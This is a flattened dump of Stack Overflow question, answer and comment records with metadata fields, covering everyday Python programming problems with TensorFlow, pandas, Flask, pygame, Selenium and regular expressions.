has body: I was doing something similar so that is part of my code stripped from some unnecessary stuff. It does a bit more as it has train and validation iterators, but you should get the idea of using is_keep_previous flag. Basically passed as True it fill force reuse of the previous value of the iterator, in case of False it will get new value. iterator_t = ds_t.make_initializable_iterator() iterator_v = ds_v.make_initializable_iterator() iterator_handle = tf.placeholder(tf.string, shape=[], name="iterator_handle") iterator = tf.data.Iterator.from_string_handle(iterator_handle, iterator_t.output_types, iterator_t.output_shapes) def get_next_item(): # sometimes items need casting next_elem = iterator.get_next(name="next_element") x, y = tf.cast(next_elem[0], tf.float32), next_elem[1] return x, y def old_data(): # just forward the existing batch return inputs, target is_keep_previous = tf.placeholder_with_default(tf.constant(False),shape=[], name="keep_previous_flag") inputs, target = tf.cond(is_keep_previous, old_data, new_data) with tf.Session() as sess: sess.run([tf.global_variables_initializer(),tf.local_variables_initializer()]) handle_t = sess.run(iterator_t.string_handle()) handle_v = sess.run(iterator_v.string_handle()) # Run data iterator initialisation sess.run(iterator_t.initializer) sess.run(iterator_v.initializer) while True: try: inputs_, target_ = sess.run([inputs, target], feed_dict={iterator_handle: handle_t, is_keep_previous:False}) print(inputs_, target_) inputs_, target_ = sess.run([inputs, target], feed_dict={iterator_handle: handle_t, is_keep_previous:True}) print(inputs_, target_) inputs_, target_ = sess.run([inputs, target], feed_dict={iterator_handle: handle_v}) print(inputs_, target_) except tf.errors.OutOfRangeError: # now we know we run out of elements in the validationiterator break
downvote count: 0

http://stackoverflow.com/comment/86051959
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49517038
has text: @MNewville I will edit my original question to include information about the parameters and the residuals. Maybe this can be of help. Thanks for your tips.
type: Comment

http://stackoverflow.com/q/49534693
score: 0
has comment: http://stackoverflow.com/comment/86075974
accepted answer: http://stackoverflow.com/a/49853031
tagged with: deep-learning
tagged with: tensorflow
type: Question
tagged with: numpy
tagged with: tensor
has answer: http://stackoverflow.com/a/49853031
has body: In the code below, test is a 3-d numpy Array, with varying row sizes for the matrices in the array. I can not feed this 3-d array in feed dict because of this. Is there any way to fix this? This is the error: Traceback (most recent call last): File "test.py", line 83, in &lt;module&gt; sess.run(iter.initializer, feed_dict={M: test, v_a: va, y: label}) File "C:\WinPython-64bit-3.6.3.0Qt5\python-3.6.3.amd64\lib\site- packages\tensorflow\python\client\session.py", line 905, in run run_metadata_ptr) File "C:\WinPython-64bit-3.6.3.0Qt5\python-3.6.3.amd64\lib\site- packages\tensorflow\python\client\session.py", line 1106, in _run np_val = np.asarray(subfeed_val, dtype=subfeed_dtype) File "C:\WinPython-64bit-3.6.3.0Qt5\python-3.6.3.amd64\lib\site- packages\numpy\core\numeric.py", line 531, in asarray return array(a, dtype, copy=False, order=order) ValueError: setting an array element with a sequence. This is my code: def multilayer_perceptron(m_i, v_a, weights, biases): #Hidden layers layer_1 = tf.add(tf.add(tf.matmul(weights['W1'], m_i), tf.matmul(weights['W2'], v_a)), biases['b1']) layer_1 = tf.nn.tanh(layer_1) layer_2 = tf.matmul(weights['W3'], layer_1) return layer_2 def ModelA(M, v_a, weights, biases, d): N = sess.run(tf.size(M))/d c = multilayer_perceptron((tf.slice(M, [0, 0], ([d, 1]))), v_a, weights, biases) for i in range(1, N): c = tf.concat([c, multilayer_perceptron((tf.slice(M, [0, i], [d, 1])), v_a, weights, biases)], axis=0) alpha = tf.nn.softmax(tf.reshape(c, [-1])) v_ns = tf.matmul(M, tf.reshape(alpha, [N, 1])) layer_3 = tf.add(tf.matmul(weights['W4'], v_ns), biases['b2']) v_ms = tf.nn.tanh(layer_3) layer_4 = tf.add(tf.matmul(weights['W5'], v_ms), biases['b3']) pred = tf.nn.softmax(tf.reshape(layer_4, [-1])) return pred def generator(): for el in test: yield el # Placeholders and Constants number_of_classes = 3 M = tf.placeholder(tf.float32, name='M') d = 50 #rows M matrix = d y = tf.placeholder(tf.float32, shape=[1, number_of_classes], name='y') v_a = tf.p…
answer count: 1
has title: errors while feeding data through feed-dict in python
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/49597804
answers question: http://stackoverflow.com/q/49597711
downvote count: 0
upvote count: 1
score: 1
type: Answer
has body: You can add the raised NoResults exception to your location list. for place in address: try: location.append(api.geocode(place)) except Exception as exc: location.append(exc)

http://stackoverflow.com/comment/85914736
type: QuestionComment
comment on: http://stackoverflow.com/q/49455862
has text: You need to give us more information to work with. Can you edit the question to include a small sample of the data if you think it could assist with identifying where the parsing error initially occurs? You also definitely want to check that the file permissions are as you'd expect them to be as @py-D is starting to say.
score: 0
type: Comment

http://stackoverflow.com/q/49523655
has body: I am using the pytransitions library (documented here) to implement a Finite State Machine. One of the features outlined is the ability to ignore invalid triggers. Here is the example as per the documentation: # Globally suppress invalid trigger exceptions m = Machine(lump, states, initial='solid', ignore_invalid_triggers=True) If the trigger is set to true, no error should be thrown for triggers that are invalid. Here is a sample of the code I am trying to construct: from transitions import Machine states = ['changes ongoing', 'changes complete', 'changes pushed', 'code reviewed', 'merged'] triggers = ['git commit', 'git push', 'got plus2', 'merged'] # Initialize the state machine git_user = Machine(states=states, initial=states[0], ignore_invalid_triggers=True, ordered_transitions=True) # Create the FSM using the data provided for i in range(len(triggers)): git_user.add_transition(trigger=triggers[i], source=states[i], dest=states[i+1]) print(git_user.state) git_user.trigger('git commit') print(git_user.state) git_user.trigger('invalid') # This line will throw an AttributeError The produced error: changes ongoing changes complete Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/transitions/core.py", line 58, in _get_trigger raise AttributeError("Model has no trigger named '%s'" % trigger_name) AttributeError: Model has no trigger named 'invalid' Process finished with exit code 1 I am unsure of why an error is being thrown when ignore_invalid_triggers=True. There is limited information on this library besides the documentation on the official github page. If anyone has any insight on this I would appreciate the help. Thanks in advance.
type: Question
accepted answer: http://stackoverflow.com/a/49546292
tagged with: python
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86099753
has comment: http://stackoverflow.com/comment/86053199
answer count: 1
has answer: http://stackoverflow.com/a/49546292
has title: ignore_invalid_triggers not working
tagged with: transition

http://stackoverflow.com/q/49546329
accepted answer: http://stackoverflow.com/a/49546521
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86100614
upvote count: 2
has comment: http://stackoverflow.com/comment/86100357
has comment: http://stackoverflow.com/comment/86100092
tagged with: python
score: 2
type: AnsweredQuestion
has title: walking through a directory and appending to a dictionary if specific order
has body: I'm attempting to walk through a directory containing over 650+ directories where each directory has 3 subdirectories, which then contain .png files. So that I have something that resembles: MAIN └───folder_01 | └─subfolder_01 | | └─12.png | └─subfolder_02 | | └─... .png | └─subfolder_03 | └─cm_12.png │ └───folder_02 | └─subfolder_01 | | └─34.png | └─subfolder_02 | | └─... .png | └─subfolder_03 | └─cm_34.png │ ... What I'm attempting to do is the extract the path from the .png in subfolder_01 and subfolder_03. Both those folders contain a single .png image and the file in subfolder_03 has the same name as the file in subfolder_01 with the addition of the prefix cm_. I would like to store the paths in a dictionary where the key is the image name (without the extension) and the value is a tuple where the first entry is the path of the image found in subfolder_01 and the second entry would be the path to the image found in subfolder_03, so that I have something like: my_dict = {image 12 name: (path to 12.png, path to cm_12.png, image 34 name: (path to 34.png, path to cm_34.png), ...} to further complicate matters the image files are a 64 length hash. I have some code below, but I ran into a problem because it seems to go to subfolder_03 and pick out that image before going to subfolder_01. I've attempted to reverse the order of my if statement which resolves the problem but I'm hoping to find a solution that is a little more general, that is doesn't really depend on the order of the if statement. For completeness the code: def get_data(loc: str) -&gt; Dict[str, Directories]: """ Looks through the given directory and returns a dictionary where the key is the file name and the values are the locations of the training image and the mask """ im_paths = [] im_imMask = {} for root, dirs, files in os.walk(loc): # mask_paths = [] im_combined = "" for file in files: if file.endswith(".png"): im_path = root + "/{}".format(file) im_paths.append(im_path) # print(root) if os.path.b…
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/49546521

http://stackoverflow.com/a/49571263
answers question: http://stackoverflow.com/q/49571132
has comment: http://stackoverflow.com/comment/86150186
upvote count: 1
has body: x = ' "string" ' x = x.replace('"','\'').replace('\'','\'') print(x) Output 'string'
score: 0
downvote count: 1
type: Answer

http://stackoverflow.com/a/49534852
downvote count: 1
has body: Note : I have changed your dataset a bit Answer to 1st Question: The algorithm takes a list as input. In your case, the algo has split each char into a separate value of a list, i.e [5,1, ,2,8, ,2,7] Answer to 2nd Question: You are right in saying that 1 occurs once but as you can see from above example, 1 occurs many times due to wrong split. Now doing it the right way: First of all, you need to split each string in itemsets into a list: data['itemsets'] = data.itemsets.apply(lambda x: x.split(' ')) The Output: Next, the second argument in "find_frequent_patterns" is the support level. That means the minimum number of times an item (or a group of items) should occur in all transactions combined. You have entered 6. There is no item that occurs 6 times in your dataset. Let us choose 2. patterns = pyfpgrowth.find_frequent_patterns(data['itemsets'],2) The Output: {('10',): 4, ('10', '8'): 2, ('51',): 2, ('8', '81'): 2, ('81',): 4} In the above output, ('10','8'):2 means that 10 and 8 together occur two times in the whole dataset. Moving a step forward, we can use "generate_association_rules" to generate rules based on a cutoff value. For example: rules = pyfpgrowth.generate_association_rules(patterns, .5) The Output: {('10',): (('8',), 0.5), ('81',): (('8',), 0.5)} It means that 10 and 8 occur together in 50% of all transactions of 10 in the whole dataset (which is 4)
has comment: http://stackoverflow.com/comment/112837653
type: AcceptedAnswer
score: 6
accepted answer of: http://stackoverflow.com/q/49523181
answers question: http://stackoverflow.com/q/49523181
upvote count: 7
type: Answer

http://stackoverflow.com/a/49572636
score: 0
type: Answer
has body: Use the package BeautifulSoup: from bs4 import BeautifulSoup html_doc = """ welcome """ soup = BeautifulSoup(html_doc, 'html.parser') print(soup.h1.text) # 'welcome'
accepted answer of: http://stackoverflow.com/q/49572475
answers question: http://stackoverflow.com/q/49572475
type: AcceptedAnswer

http://stackoverflow.com/comment/86013612
score: 0
comment on: http://stackoverflow.com/q/49486592
type: Comment
type: QuestionComment
has text: it was not taking second input.while second time at the end of the loop where "raw_input" is used it stops. maybe because of after changing the directory it can not find the libraries.

http://stackoverflow.com/q/49485480
tagged with: python
tagged with: recurrent-neural-network
type: AnsweredQuestion
tagged with: conv-neural-network
answer count: 1
has answer: http://stackoverflow.com/a/49495862
tagged with: keras
has body: I'm trying to look for the classification of images with labels using RNN with custom data. I can't find any example other than the Mnist dataset. Any help like this repository where CNN is used for classification would be grateful. Any help regarding the classification of images using RNN would be helpful. Trying to replace the CNN network of the following tutorial.
downvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 8
has title: Classification of Images with Recurrent Neural Networks
accepted answer: http://stackoverflow.com/a/49495862
score: 7

http://stackoverflow.com/comment/86001009
has text: I just caught that this solution relies on creating a new glove object in the list comprehension line as part of the comparison. Any way to make this approach work if the constructor for glove doesn't actually support creating a glove object by attributes? (my real-life example constructs glove objects by parsing a file)
type: AnswerComment
comment on: http://stackoverflow.com/a/49497216
score: 0
type: Comment

http://stackoverflow.com/comment/86145960
type: Comment
comment on: http://stackoverflow.com/a/49566179
score: 0
type: AnswerComment
has text: Glad to hear it @FanScience. Lmk if you have any more questions, and if this answered yours please mark it as correct!

http://stackoverflow.com/q/49543366
linked to: http://stackoverflow.com/q/33577001
accepted answer: http://stackoverflow.com/a/49543687
upvote count: 1
tagged with: python
tagged with: pygame
has answer: http://stackoverflow.com/a/49543687
type: AnsweredQuestion
has title: Why pygame.midi doesn't work on macos whereas pygame.mixer does
has body: I want to write a piece of software in Python3x, which will play Midi notes. I have this example code here on Stack Overflow : import pygame.midi import time pygame.midi.init() player = pygame.midi.Output(0) player.set_instrument(0) player.note_on(64, 127) time.sleep(1) player.note_off(64, 127) del player pygame.midi.quit() It works perfectly fine on Windows, but not on Mac, where I get this error: pygame.midi.MidiException: 'Device id invalid, out of range.' I understand that there is no Midi device enabled. But when I play some regular midi file using mixer: ... pygame.mixer.music.load('whatever.mid') pygame.mixer.music.play() ... it plays correctly, which puzzles me. Other applications using Midi, like Musescore, work perfectly well also. My questions are: Why does mixer work, and pygame.midi doesn't? How can I fix it so that pygame.midi would produce a sound? (It occured to me that I could generate midi file with my app and then put it into the mixer, but it's clumsy and there must be a better way) Thank you in advance. EDIT1: I have tried to enable IAC and add a bus. When I try to get device info: for n in range(pygame.midi.get_count()): print (n,pygame.midi.get_device_info(n)) two more devices appear: 0 (b'CoreMIDI', b'IAC Driver IAC Bus 1', 1, 0, 0) 1 (b'CoreMIDI', b'IAC Driver IAC Bus 1', 0, 1, 0) Original example fails on fifth line, because 0 is input bus. If changed to 1, it ends without error, but no sound is played (heard).
score: 1
answer count: 1
downvote count: 0
tagged with: midi
tagged with: macos
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/49543724
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49543392
type: Answer
has body: The easiest way to write a CSV file is using the Standard CSV. To write a CSV file, is as simple as opening the file and using the default writer: import csv from os import listdir, path import xml.etree.ElementTree as ET mypath = 'C:\myfolder' files = [f for f in listdir(mypath) if f.endswith('.xml')] for file in files: tree = ET.parse(file) root = tree.getroot() ns = {namespaces} def myfunction(): if 'something' in root.tag: filename = path.splitext(file)[0] var1 = root.find('./element1', ns) var2 = root.find('./element2', ns) row = [ var1.text, var2.text ] # Open the file and store the data with open('outfile.csv', 'a', newline='') as csvfile: csv_writer = csv.writer(csvfile, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL) csv_writer.writerow(row) return row Note that csf.writer receives a list as parameter.
answers question: http://stackoverflow.com/q/49543392
score: 2
upvote count: 2

http://stackoverflow.com/comment/86147989
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49570084
has text: It seems to be internet connection problem to me

http://stackoverflow.com/a/49450778
has body: I think you need resample by 10L for 10ms with interpolate: #if necessary convert to datetimes #df['ephoc_as_datatime'] = pd.to_datetime(df['ephoc_as_datatime']) df = df.resample('10L', on='ephoc_as_datatime').mean().interpolate() print (df.head(20)) att1 att2 ephoc_as_datatime 2000-01-01 11:22:37.130 0.500 4.500 2000-01-01 11:22:37.140 2.000 6.000 2000-01-01 11:22:37.150 3.000 7.000 2000-01-01 11:22:37.160 4.000 8.000 2000-01-01 11:22:37.170 4.075 7.875 2000-01-01 11:22:37.180 4.150 7.750 2000-01-01 11:22:37.190 4.225 7.625 2000-01-01 11:22:37.200 4.300 7.500 2000-01-01 11:22:37.210 4.375 7.375 2000-01-01 11:22:37.220 4.450 7.250 2000-01-01 11:22:37.230 4.525 7.125 2000-01-01 11:22:37.240 4.600 7.000 2000-01-01 11:22:37.250 4.675 6.875 2000-01-01 11:22:37.260 4.750 6.750 2000-01-01 11:22:37.270 4.825 6.625 2000-01-01 11:22:37.280 4.900 6.500 2000-01-01 11:22:37.290 4.975 6.375 2000-01-01 11:22:37.300 5.050 6.250 2000-01-01 11:22:37.310 5.125 6.125 2000-01-01 11:22:37.320 5.200 6.000 Detail: print(df.resample('10L', on='ephoc_as_datatime').mean().head(20)) att1 att2 ephoc_as_datatime 2000-01-01 11:22:37.130 0.5 4.5 2000-01-01 11:22:37.140 2.0 6.0 2000-01-01 11:22:37.150 3.0 7.0 2000-01-01 11:22:37.160 4.0 8.0 2000-01-01 11:22:37.170 NaN NaN 2000-01-01 11:22:37.180 NaN NaN 2000-01-01 11:22:37.190 NaN NaN 2000-01-01 11:22:37.200 NaN NaN 2000-01-01 11:22:37.210 NaN NaN 2000-01-01 11:22:37.220 NaN NaN 2000-01-01 11:22:37.230 NaN NaN 2000-01-01 11:22:37.240 NaN NaN 2000-01-01 11:22:37.250 NaN NaN 2000-01-01 11:22:37.260 NaN NaN 2000-01-01 11:22:37.270 NaN NaN 2000-01-01 11:22:37.280 NaN NaN 2000-01-01 11:22:37.290 NaN NaN 2000-01-01 11:22:37.300 NaN NaN 2000-01-01 11:22:37.310 NaN NaN 2000-01-01 11:22:37.320 NaN NaN
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49450714
has comment: http://stackoverflow.com/comment/85904147
has comment: http://stackoverflow.com/comment/85904080
has comment: http://stackoverflow.com/comment/85904909
type: Answer
has comment: http://stackoverflow.com/comment/85904868
accepted answer of: http://stackoverflow.com/q/49450714

http://stackoverflow.com/a/49488986
has body: In this case, you would want to keep a running total for every cycle type, for example in a dictionary that maps a cycle to its current count. Then on each iteration the relevant dictionary entry can be incremented and the current value added to the array. For example, using a defaultdict: from collections import defaultdict my_tuple = [ ('data', 'Cycle 1'), ('data', 'Cycle 1'), ('data', 'Cycle 2'), ('data', 'Cycle 2'), ('data', 'Cycle 3'), ('data', 'Cycle 3') ] counts = defaultdict(int) for i, (data, cycle) in enumerate(my_tuple): counts[cycle] += 1 my_tuple[i] += (counts[cycle],) print my_tuple This program will always record the total number of each cycle type, even if there was a gap between instances of a type: for example, for input ('data', 'Cycle 1'), ('data', 'Cycle 2'), ('data', 'Cycle 1') it would produce ('data', 'Cycle 1', 1), ('data', 'Cycle 2', 1), ('data', 'Cycle 1', 2)
answers question: http://stackoverflow.com/q/49488839
score: 1
downvote count: 0
upvote count: 1
type: Answer

http://stackoverflow.com/comment/86167662
score: 0
type: Comment
has text: And run `nvidia-smi` and show the output
type: QuestionComment
comment on: http://stackoverflow.com/q/49579352

http://stackoverflow.com/q/49563500
tagged with: python
tagged with: append
has comment: http://stackoverflow.com/comment/86136865
tagged with: list
tagged with: nested-lists
downvote count: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86163297
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86135469
has title: Append acts and scenes of a drama (text file) to a given list structure (nested lists)
has comment: http://stackoverflow.com/comment/86135201
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86135603
has body: (Using Python 3.5 on Windows) Hey, I'm trying to append the acts and scenes of a drama to a given list structure. It's part of a project, where i want to create a social network for several dramas (written by Goethe). Since the structures of the dramas are mostly consistent, it is possible to put them all in the same pattern. The structure i created is the following: For every utterance of a character, I created a tuple, in which i put the character name and the utterance, e.g. ('Peter:', 'How are you?'). Then the drama has five acts and every act has a various number of scenes. What i want to do now: Creating a list structure, which looks like this: drama = [[act_x[scene_x[utterance_x(role, text), utterance_y(role, text),...], scene_y[utterance_x(role, text), utterance_y(role, text),...],...] [act_y[scene_x[utterance_x(role, text), utterance_y(role,text),...],...],...] With my data it would be: print(drama) output: [[[[('Peter:', 'How are you?'), ('Mike:', 'I'm fine, thanks.'), ('Peter:', 'I have to go.')] [('Maria:', 'Did you hear what happened?'), ('Tina:', 'Yes, it's horrible. I saw it with my own eyes')]] ('James:', 'It was great to meet you.'), ('Maria:', 'I hope we will meet again one day. Farewell!')]] Notice, that 'act', 'scene' and 'utterance' are only used here for clarification. The only real elements in the lists are the tuples (role, text). After the whole drama is stored in this list, i could sccess every single utterance. For example i want third act, fifth scene, sixth utterance, i call: drama[2][4][5]. Everytime one line contains 'act' i want to append the acts list to the drama list and everytime one line contains 'scene' i want to append the scenes list to the acts list and the utterance list (which contains the tuples) to the scenes list. So far so good, but when i append the lists to each other I always get a structure like this [[(role, text)], [(role, text)],... What is the right way to get the above explained structure? drama = […
type: UnansweredQuestion

http://stackoverflow.com/comment/85931797
comment on: http://stackoverflow.com/q/49463902
type: QuestionComment
has text: Yes, and as I see it you get that with `ax.set_xticks([0,240])`.
type: Comment
score: 0

http://stackoverflow.com/comment/86169702
score: 0
has text: `relation "api_user" does not exist` suggests that you haven't run `./manage.py migrate` to create the table. You might also have to run `makemigrations` before `migrate`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49579673

http://stackoverflow.com/a/49591815
has body: Try this: wait = WebDriverWait(driver, 5) elem = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, 'div.content'))) psome = wait.until(lambda d:elem.find_element_by_css_selector('p.some')) Note: I haven't actually tried it in Python, but I used similar technique in C# and Java quite a lot, so unless I have some minor syntactic mistakes, I'm pretty sure it should work.
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49582438
score: 2
has comment: http://stackoverflow.com/comment/86244126
answers question: http://stackoverflow.com/q/49582438
type: Answer

http://stackoverflow.com/comment/86013889
type: QuestionComment
comment on: http://stackoverflow.com/q/49504611
has text: That was the problem but I reproduced that same scenario and it didn't fail even on the if. But that worked I took out the update_canvas
score: 0
type: Comment

http://stackoverflow.com/comment/85906182
comment on: http://stackoverflow.com/q/49451736
score: 0
type: Comment
has text: If you want to capitalize the first letter in each str, use `capitalize`. To capitalize the first letter in each word, use `title`. Read Python's [documentation](https://docs.python.org/3/library/stdtypes.html#str.capitalize).
type: QuestionComment

http://stackoverflow.com/a/49613475
upvote count: 3
score: 3
downvote count: 0
type: Answer
has body: Note that Panda library uses C internally and like @JeffO'Neill said in the App Engine Standard Environment all code for the Python runtime environment must be pure Python and it can’t include any libraries that need C extensions or other code that must be compiled. However, in the App Engine Flexible Environment there is no restriction and you can use C modules.
has comment: http://stackoverflow.com/comment/86253012
answers question: http://stackoverflow.com/q/49445759

http://stackoverflow.com/comment/85968282
has text: perhaps - i'm glad you got things figured out :)
score: 0
comment on: http://stackoverflow.com/a/49482659
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49523376
answers question: http://stackoverflow.com/q/49483526
type: AcceptedAnswer
downvote count: 0
has body: Most probably, you imported the graph using import_graph_def or some higher-level function that ends up calling import_graph_def. Here is a copy of documentation for its name argument: name: (Optional.) A prefix that will be prepended to the names in graph_def. Note that this does not apply to imported function names. Defaults to "import". If you don't want any prefix added, invoke it with name=''
has comment: http://stackoverflow.com/comment/86055923
type: Answer
score: 4
accepted answer of: http://stackoverflow.com/q/49483526
upvote count: 4
has comment: http://stackoverflow.com/comment/86093794

http://stackoverflow.com/comment/86002309
type: Comment
type: QuestionComment
score: 2
has text: I suspect that the solution will be simply to sort the data set by origin, then by destination cost. For each origin, add destination costs from lowest to highest, until you run out or hit the budget limit.
comment on: http://stackoverflow.com/q/49497671

http://stackoverflow.com/comment/86200279
score: 4
comment on: http://stackoverflow.com/q/49596548
has text: The only thing wrong with that code is that you didn't initialize `score` to 0. Accessing the dict works fine.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86049641
comment on: http://stackoverflow.com/q/49517038
type: Comment
type: QuestionComment
has text: @curix, It's hard to diagnose a problem without seeing the objective function. Since the other methods work with the same objective function, it seems like the objective function must return an array of values without any `nan` or `inf` values.... Those would cause such problems. If you call the objective function yourself (ie, outside of the fit) with the starting parameter values or small variations of those, do you get a changing residual? Can you change the parameter values by a tiny amount and get a numerically different result? Those would all be necessary for `leastsq` to work.
score: 0

http://stackoverflow.com/comment/106155814
score: 0
type: AnswerComment
has text: Sorry I tried your code but I got the following error AttributeError: 'function' object has no attribute 'items'. I have the d which is a dictionary
type: Comment
comment on: http://stackoverflow.com/a/49553837

http://stackoverflow.com/q/49474279
tagged with: functools
has body: I created an environment in Anaconda Navigator and indicated python version as 3.6.4. After the env has completed, I installed matplotlib, numpy and so on, but when I was running Jupyter Notebook on a browser, it's shown the python version - Python 2, like the screenshot shown: Then, I checked what I installed in this environment in Anaconda Navigator, it's really shown that python version is 2. So I was trying to upgrade python version to 3.6.4, then it's prompted that as shown below, complaining: functools32 and python 3.6.4 can not be satisfied and in conflict. Then I searched google what is functools32, the result is a dependency of matplotlib I'm looking forward to get an answer from you. Thanks In Advance. Updated: April 1st As the screenshot shown, it hinted to me that Python will downgrade from 3.x to 2.x when I was trying to install PIL.
tagged with: matplotlib
tagged with: python
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
answer count: 1
favorite count: 0
type: Question
has title: conda env is forced to downgrade python version when using matplotlib
has answer: http://stackoverflow.com/a/49492757
tagged with: anaconda

http://stackoverflow.com/q/49518666
answer count: 1
tagged with: python
has body: I am trying to train a latent space model in pytorch. The model is relatively simple and just requires me to minimize my loss function but I am getting an odd error. After running for a short while the loss suddenly explodes upwards. import numpy as np import scipy.sparse.csgraph as csg import torch from torch.autograd import Variable import torch.autograd as autograd import matplotlib.pyplot as plt %matplotlib inline def cmdscale(D): # Number of points n = len(D) # Centering matrix H = np.eye(n) - np.ones((n, n))/n # YY^T B = -H.dot(D**2).dot(H)/2 # Diagonalize evals, evecs = np.linalg.eigh(B) # Sort by eigenvalue in descending order idx = np.argsort(evals)[::-1] evals = evals[idx] evecs = evecs[:,idx] # Compute the coordinates using positive-eigenvalued components only w, = np.where(evals &gt; 0) L = np.diag(np.sqrt(evals[w])) V = evecs[:,w] Y = V.dot(L) return Y, evals Y = np.array([[0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 1., 1., 0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 1., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 1., 0., 0., 0., 1., 0., 0., 1., 0.], [0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 1., 0.], [0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 1., 0., 1., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 1.], [0., 0., 0., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.], [1., 1., 1., 0., 0., 0., 0., 0., 0., 0., 0., 1., 1., 0., 1.], [0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0.], [0., 0., 0., 1., 1., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0.], [0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 0., 0., 1., 1.], [0., 0., 0., 0., 0., 0., 0., 0., 1., 1., 0., 0., 0., 0., 0.], [0., 0., 0., 1., 1., 0., 0., 0., 0., 0., 1., 1., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 1., 0., 1., 0., 0., 1., 0., 0., 0.]]) temp = Y[~np.all(Y == 0, axis=1)] temp = temp[:,~np.all(Y == 0, axis=1)] Y = temp n = np.shape(Y)[0] k = 2 D = csg.shortest_path(Y, directed=True) Z = cmdscale(D)[0][:,0:…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49533628
tagged with: pytorch
has answer: http://stackoverflow.com/a/49533628
tagged with: loss-function
tagged with: torch
type: Question
has title: Exploding loss in pyTorch
score: 0

http://stackoverflow.com/comment/85949808
has text: Sorry, it is a list nested in an array.
comment on: http://stackoverflow.com/q/49473628
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49551655
tagged with: python-3.x
answer count: 2
has title: popluate combobox value from mysql in python flask
tagged with: flask-wtforms
downvote count: 0
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/49791188
has body: i am new in codding and flask and i want to know how to retrieve the combo box value based on the previous combo box. i followed the tutorial and successfully to retrieve the first combo box value from the database. https://www.youtube.com/watch?v=b9W2ul2VRRc&amp;t=761s now based on that value i want to retrieve the second value. could you please check my code and advice how i need to put the filter condition suppose i have to combo box first customer_name and second instance_name. if i choose customer =tcs then corresponding instance_name must be showin in the next combo box like instance_name = tcs_test_33i class custdetail(db.Model): cust_id = db.Column(db.Integer, primary_key=True) customer = db.Column(db.String(50)) instance_name = db.Column(db.String(50)) def Customer_query(): return custdetail.query def Customer_query_env(): return custdetail.query#.filter(custdetail.customer == customer) class CustomerForm(FlaskForm): opts = QuerySelectField(query_factory=Customer_query, allow_blank=False, get_label='customer') class CustomerEnv(FlaskForm): opts1 = QuerySelectField(query_factory=Customer_query_env, allow_blank=False, get_label='instance_name') @app.route('/runpage/', methods=['GET', 'POST']) def index(): form = CustomerForm() form1 = CustomerEnv() form.opts.query = custdetail.query.filter(custdetail.cust_id &gt; 0) #form1.opts1.query = custdetail.query.filter(custdetail.customer == format(form.opts.data)) if form.validate_on_submit(): return '&lt;html&gt;&lt;h1&gt;{}&lt;/h1&gt;&lt;/html&gt;'.format(form.opts.data) if form1.validate_on_submit(): return '&lt;html&gt;&lt;h1&gt;{}&lt;/h1&gt;&lt;/html&gt;'.format(form1.opts1.data) return render_template('runpage.html', form=form, form1=form1) if __name__ == '__main__': app.run(debug=True)
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49598978
has answer: http://stackoverflow.com/a/49791188
has answer: http://stackoverflow.com/a/49598978
score: 1
tagged with: python
tagged with: sqlalchemy
type: Question

http://stackoverflow.com/a/49472928
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/85948344
has comment: http://stackoverflow.com/comment/85960547
score: 1
downvote count: 1
answers question: http://stackoverflow.com/q/49472910
has comment: http://stackoverflow.com/comment/85948383
has body: Unindent the print statement in the last line import datetime date = datetime.datetime(2000,9,17) for i in range(50): date += datetime.timedelta(days=1) print(date)

http://stackoverflow.com/a/61298169
answers question: http://stackoverflow.com/q/49499438
downvote count: 0
upvote count: 1
type: Answer
has body: As described in the other answers the problem is related to the mongo container name in the docker-compose.yml file so the Django settings must be changed to find the correct database host. In later versions Djongo changed the DATABASE options in the settings.py. This will result in the following new settings.py part: DATABASES = { 'default': { 'ENGINE': 'djongo', 'NAME': 'api', 'CLIENT': { 'host': 'mongo', 'port': 27017, } } } Notice that host and port are now childs of CLIENT. More information can be found in the Djongo documentation.
score: 1

http://stackoverflow.com/q/49537815
has body: I have a string: foo bar $ 123.456 bar foo $ 652 $ 1.255.250 bar $ 2.000 foo badword $ 300.000 foo bar $ 123 badword2 $ 400 And I want to match all the prices, except the ones which follows a "badword". Match: 123.456 652 1.255.250 2.000 123 Do not match: badword $ 300.000 badword2 $ 400 I'm developing in Python 3.6 and using (\d+).(\d+) to capture the prices so far.
upvote count: 1
downvote count: 1
tagged with: regex
